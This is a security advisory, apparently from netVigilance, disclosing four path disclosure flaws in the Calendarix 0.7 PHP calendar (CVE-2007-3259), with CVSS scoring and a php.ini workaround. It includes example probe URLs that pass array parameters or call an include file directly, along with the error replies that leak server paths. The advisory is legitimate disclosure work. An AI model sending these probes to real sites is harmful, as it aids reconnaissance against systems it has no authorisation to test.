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Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities



Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities
Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities



	netVigilance Security Advisory #36

Calendarix version 0.7. 20070307 Multiple Path Disclosure Vulnerabilities 
Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind.  It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps.

External References: 
Mitre CVE:  CVE-2007-3259
NVD NIST: CVE-2007-3259
OSVDB: 35371

Summary: 
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
Security problems in the product allow attackers to gather the true path of the server-side script.

Advisory URL: 
http://www.netvigilance.com/advisory0036 

Release Date:
06/19/2007
 
Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.33
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.

SecureScout Testcase ID:
TC 17968
 
Vulnerable Systems:
Calendarix version 0.7. 20070307

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.
Vendor:
Vincent Hor (Calendarix Enterprise) 

Vendor Status: 
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.

Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off.

Example: 
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month[]=1 
REPLY:
Warning:  Illegal offset type in [DISCLOSED PATH][PRODUCT-DIRECTORY]\calendar.php on line 53
Path Disclosure Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/cal_week.php?op=week&catview[]=1 REPLY: Warning: preg_match() expects parameter 2 to be string, array given in [DISCLOSED PATH][PRODUCT-DIRECTORY]\cal_header.inc.php on line 91
Warning: preg_match() expects parameter 2 to be string, array given in [DISCLOSED PATH][PRODUCT-DIRECTORY]\cal_header.inc.php on line 92
Warning: preg_match() expects parameter 2 to be string, array given in [DISCLOSED PATH][PRODUCT- DIRECTORY]\ cal_header.inc.php on line 93
... Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH][PRODUCT-DIRECTORY]\cal_week.php on line 184
... Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH][PRODUCT-DIRECTORY]\cal_week.php on line 186
Path Disclosure Vulnerability 3: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/yearcal.php?ycyear[]=1 REPLY: Fatal error: Unsupported operand types in [DISCLOSED PATH][PRODUCT-DIRECTORY]\yearcal.php on line 79
Path Disclosure Vulnerability 4: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/cal_functions.inc.php REPLY: Fatal error: Call to undefined function: translate() in [DISCLOSED PATH][PRODUCT-DIRECTORY]\cal_functions.inc.php on line 17
Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com ?? ?? ?? ?? =09


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